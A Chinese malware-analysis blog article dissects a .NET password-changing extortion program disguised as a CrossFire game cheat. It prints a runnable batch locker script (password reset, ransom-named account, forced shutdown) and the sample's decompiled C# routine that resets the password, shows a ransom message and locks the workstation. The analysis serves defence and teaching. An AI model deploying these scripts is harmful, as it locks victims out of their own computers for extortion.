病毒木马查杀实战第013篇:一个基于.NET的“敲竹杠”病毒研究
前言
恶意程序发展至今,其功能已经从最初的单纯破坏,不断发展为隐私的窥探,信息的盗取,乃至如今非常流行的“敲竹杠”病毒,用于勒索。可见随着时代的发展,病毒的作者们往往也是想利用自己的技术来获取不义之财,变得越来越功利化了。而本系列文章也顺应了这个发展,从病毒讨论到木马,进而来到了“敲竹杠”病毒的讨论上来。
什么是“敲竹杠”病毒
其实“敲竹杠”病毒的行为很简单,它就是篡改我们的计算机的开机密码,然后病毒作者留下个人的联系方式,让受害的用户去联系他,花钱消灾。“敲竹杠”主要通过QQ群和邮件进行传播,经常会伪装成类似于“CF免费刷枪无毒软件”(如这次研究的CF.exe),“免费刷Q币”等极具诱惑性的名称,一旦用户点击运行,系统登陆密码就会被篡改。而普通用户遇到这种情况,往往无能为力,加上“勒索”钱财的数额一般并不大,所以花钱买密码的人也不在少数。由于这种病毒并不需要编写者具备很高深的技术水平,从而也就助长了“敲竹杠”的盛行。这里举一个最简单的“敲竹杠”代码的例子,它是一个批处理(.bat)文件:
@echo off
net user 姜晔 wojiushimima
net user 要密码加QQ123456789 wojiushimima /add
shutdown.exe -s -t 10
这里简单讲解一下上述代码。代码第二行的意思是将名为“姜晔”的账户密码修改为“wojiushimima”(我就是密码)。注意,在我的系统中,账户“姜晔”就是管理员账户,而大多数情况下,系统默认的管理员账户名称为“Administrator”,所以具体情况要具体分析。在此也呼吁大家不要将“Administrator”作为管理员账户名,免得被恶意程序所利用。代码第三行的意思是创建名为“要密码加QQ123456789”的账户,其密码也是“wojiushimima”。代码第四行的意思是在10秒后关闭计算机。运行上述代码,如图所示:
图1 运行“敲竹杠”病毒
程序运行10秒后,自动关机,再开机,如下图所示:
图2
可见,这里出现了两个账户,一个是原始账户,不过密码已经被修改了。另一个账户是病毒作者的联系方式,该账户的密码我们也是不知道的。至此,普通的计算机用户为了能够正常使用自己的电脑,也就只有去联系病毒作者,去买密码了。
什么是.NET
既然本文讨论的是一款基于.NET的“敲竹杠”,那么有必要在这里简单讨论一下什么是.NET。
其实.NET是微软设计的独立于操作系统之上的平台,可以将它看成是一套虚拟机,无论机器运行的是什么操作系统,只要该系统安装了.NET框架,便可以运行.NET可执行程序,享受基于.NET的各类服务。上面这句话是从用户角度出发的观点,如果从Windows系统的角度来理解,.NET就是一系列运行于Ring3层的DLL文件。
可能这么说依旧比较抽象,有兴趣的读者可以查询相关书籍进行进一步的学习研究。我个人觉得我们没必要过于在意这个定义,作为病毒分析人员,更重要的是掌握.NET平台的逆向分析方法。
.NET有一个特点,那就是无论程序是用C#,还是C++,或是VB编写,最终都被编译为.NET的中间语言IL。而静态分析.NET程序,就是用反编译工具将程序的指令字节反编译成IL指令或高级语言,通过阅读反编译代码掌握程序的流程与功能。由于.NET下的可执行文件同时保存有元数据与IL代码,其静态反编译出的代码具有极强的可读性,几乎等同于源代码。
.NET平台的反编译工具最为常用的是ildasm与Reflector。这里我打算选用后者进行分析。该软件目前已经变为收费版,大家可以在http://www.red-gate.com/products/dotnet-development/reflector/下载14天的全功能试用版。
“敲竹杠”病毒分析
这次的病毒样本名为“CF.exe”,从名称就可以看出它应该是和游戏“穿越火线”相关,伪装成是游戏的辅助类程序,实际上就是“敲竹杠”。但是它的特别之处就在于开创性地采用了.NET框架,瞬间显得与众不同起来。为什么我知道它采用了.NET框架呢?这是PEiD的功劳:
图3
那么接下来就使用Reflector来载入这个病毒样本。由于经过Reflector的分析生成的代码就如同源代码,所以很容易就能够找到恶意程序的核心位置:
图4
该函数的完整代码如下:
private void timer1_Tick(object sender, EventArgs e)
{
this.j++;
if (this.j <= 3)
{
this.label4.Text = "正在扫描CF网络漏洞\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if ((this.j <= 5) && (this.j > 3))
{
this.label4.Text = "正在监测CF模块SX动作\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if ((this.j < 10) && (this.j > 5))
{
this.label4.Text = "避开SX加载辅助模块\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
}
else if (this.j == 10)
{
this.label4.Text = "模块加载成功启动中\x00b7\x00b7\x00b7";
this.progressBar1.Value = this.j;
ResetUserPassword(Environment.UserName, "razggcd");
MessageBox.Show("反外挂联盟提示您:绿色游戏健康生活 共同创建公平的竞技平台 !为了您的计算机安全 请向QQ:1460459195 充值30QB并添加好友索要密码 ! 谢谢配合 !", "提示信息", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
CreateNTUser("加Q1460459195", "razggcd", "");
LockWorkStation();
}
}
很明显,程序通过计数器的不断增加,从而显示不同的文字,这也就给用户造成了一种假象,以为游戏辅助已经生效,似乎正在运行一样。而当计数器自增到10的时候,就会执行最后一个if语句。该语句中的ResetUserPassword用于将用户密码修改为“razggcd”,之后显示一段信息,让用户与病毒作者联系,以获取密码,实现“敲竹杠”。接下来创建名为“加Q1460459195”,密码为“razggcd”的用户。最后锁定工作站保护其免受未经授权者使用。这一整套流程,与我之前讨论的批处理版的“敲竹杠”大同小异。可见,虽说本病毒改变了外在的形式,但是其内部机理还是没有变化的。
通过上述分析,我们已经获取了密码,那么也就大功告成了。
小结
相比较于之前所分析的病毒木马,“敲竹杠”的分析其实还是非常简单的。特别是这种基于.NET的程序,反编译出来的程序就可以等同于源程序,比汇编代码容易理解多了。由于现在“敲竹杠”是主流,所以我以后会选取一些比较有代表性的“敲竹杠”进行研究。希望大家能够提高防范意识,让这些程序的编写者们无机可乘。
病毒木马查杀实战第013篇:一个基于.NET的“敲竹杠”病毒研究的更多相关文章
- 病毒木马查杀实战第025篇:JS下载者脚本木马的分析与防御
前言 这次我与大家分享的是我所总结的关于JS下载者脚本木马的分析与防御技术.之所以要选择这样的一个题目,是因为在日常的病毒分析工作中,每天都会遇到这类病毒样本,少则几个,多则几十个(当然了,更多的样本 ...
- 病毒木马查杀实战第011篇:QQ盗号木马之专杀工具的编写
前言 由于我已经在<病毒木马查杀第004篇:熊猫烧香之专杀工具的编写>中编写了一个比较通用的专杀工具的框架,而这个框架对于本病毒来说,经过简单修改也是基本适用的,所以本文就不讨论那些重叠的 ...
- 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析
前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...
- 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀
前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...
- 病毒木马查杀实战第022篇:txt病毒研究
前言 反病毒爱好者们非常喜欢讨论的一个问题就是,现在什么样的病毒才算得上是主流,或者说什么样的病毒才是厉害的病毒呢?我们之前的课程所解说的都是Ring3层的病毒.所以有些朋友可能会觉得.那么Ring0 ...
- 病毒木马查杀实战第020篇:Ring3层主动防御之基本原理
前言 假设说我们的计算机中安装有杀毒软件,那么当我们有意或无意地下载了一个恶意程序后.杀软一般都会弹出一个对话框提示我们,下载的程序非常可能是恶意程序,建议删除之类的.或者杀软就不提示.直接删除了:或 ...
- 病毒木马查杀实战第015篇:U盘病毒之脱壳研究
前言 因为我们的终于目标是编写出针对于这次的U盘病毒的专杀工具.而通过上次的分析我们知道,病毒有可能在不同的计算机中会以不同的名称进行显示.假设真是如此,那么就有必要在此分析出病毒的命名规律等特征,然 ...
- 病毒木马查杀实战第017篇:U盘病毒之专杀工具的编写
前言 经过前几次的讨论,我们对于这次的U盘病毒已经有了一定的了解,那么这次我们就依据病毒的行为特征,来编写针对于这次U盘病毒的专杀工具. 专杀工具功能说明 因为这次是一个U盘病毒,所以我打算把这次的专 ...
- 病毒木马查杀实战第014篇:U盘病毒之手动查杀
在U盘中发现病毒 前段时间需要往虚拟机中拷贝点资料,如同往常一样,插上我的U盘,并且在虚拟机的设置中选择连接U盘.奇怪的是这次的连接时间较以往长,并且还出现了"自动播放"窗口: 图 ...
随机推荐
- 《Selenium自动化测试实战》新书上市,有需要朋友们可以了解下,欢迎大家多提宝贵意见
京东:https://item.jd.com/13123910.html当当:http://product.dangdang.com/29204520.html 1. 本书基于 Python 3.8 ...
- CodeBlocks的安装配置以及使用教程
CodeBlocks的安装配置以及使用教程 教程写的很啰嗦,本来几句话就能搞定的,但为了照顾到那部分真正的小白还请大家见谅! 一.下载 前往CodeBlocks官网下载带编译器的版本,目前的最新版本为 ...
- 谈谈注册中心 zookeeper 和 eureka中的CP和 AP
谈谈注册中心 zookeeper 和 eureka中的CP和 AP 前言 在分布式架构中往往伴随CAP的理论.因为分布式的架构,不再使用传统的单机架构,多机为了提供可靠服务所以需要冗余数据因而会存在分 ...
- 使用wireshark 抓取 http https tcp ip 协议进行学习
使用wireshark 抓取 http https tcp ip 协议进行学习 前言 本节使用wireshark工具抓包学习tcp ip http 协议 1. tcp 1.1 tcp三次握手在wire ...
- LNMP配置——Nginx配置 —— 用户认证
一.配置 再来创建一个新的虚拟主机 #cd /usr/local/nginx/conf/vhost #vi test.com.conf 写入: server { listen 80; server_n ...
- Typora的一些快捷键
语法格式 快捷键 标题 # + 空格 = 一级标题, ## + 空格 =二级标题, 以此类推 shift + 数字1 =一级标题 ,shift + 数字2 =二级标题 , 以此类推 有序列表 1 ...
- MongoDB学习--环境搭建记录
Mongo安装教程,参考英文官网 基本命令, 索引的引用,索引基于地理位置的数据, win10 64位 系统中安装虚拟机 win10 系统中安装虚拟机VMwareWorkstation11 并安装 L ...
- Python内置函数作用及解析
Python内置的函数及其用法.为了方便记忆,已经有很多开发者将这些内置函数进行了如下分类: 数学运算(7个) 类型转换(24个) 序列操作(8个) 对象操作(7个) 反射操作 ...
- linux 系统用户与用户组管理
关于/etc/passwd和/etc/shadow /etc/passwd 第1个字段为用户名(第一行中的root就是用户名)第2个字段存放的是该账号的口令.第3个字段为一个数字,这个数字代表的用户标 ...
- 精通模块化JavaScript
近日读了一本名为<精通模块化JavaScript>的书,并记录了其中的精髓. 一.模块化思维 精通模块化开发并不是指要遵循一套定义明确的规则,而是指能够将自己置身于使用者的角度,为可能即将 ...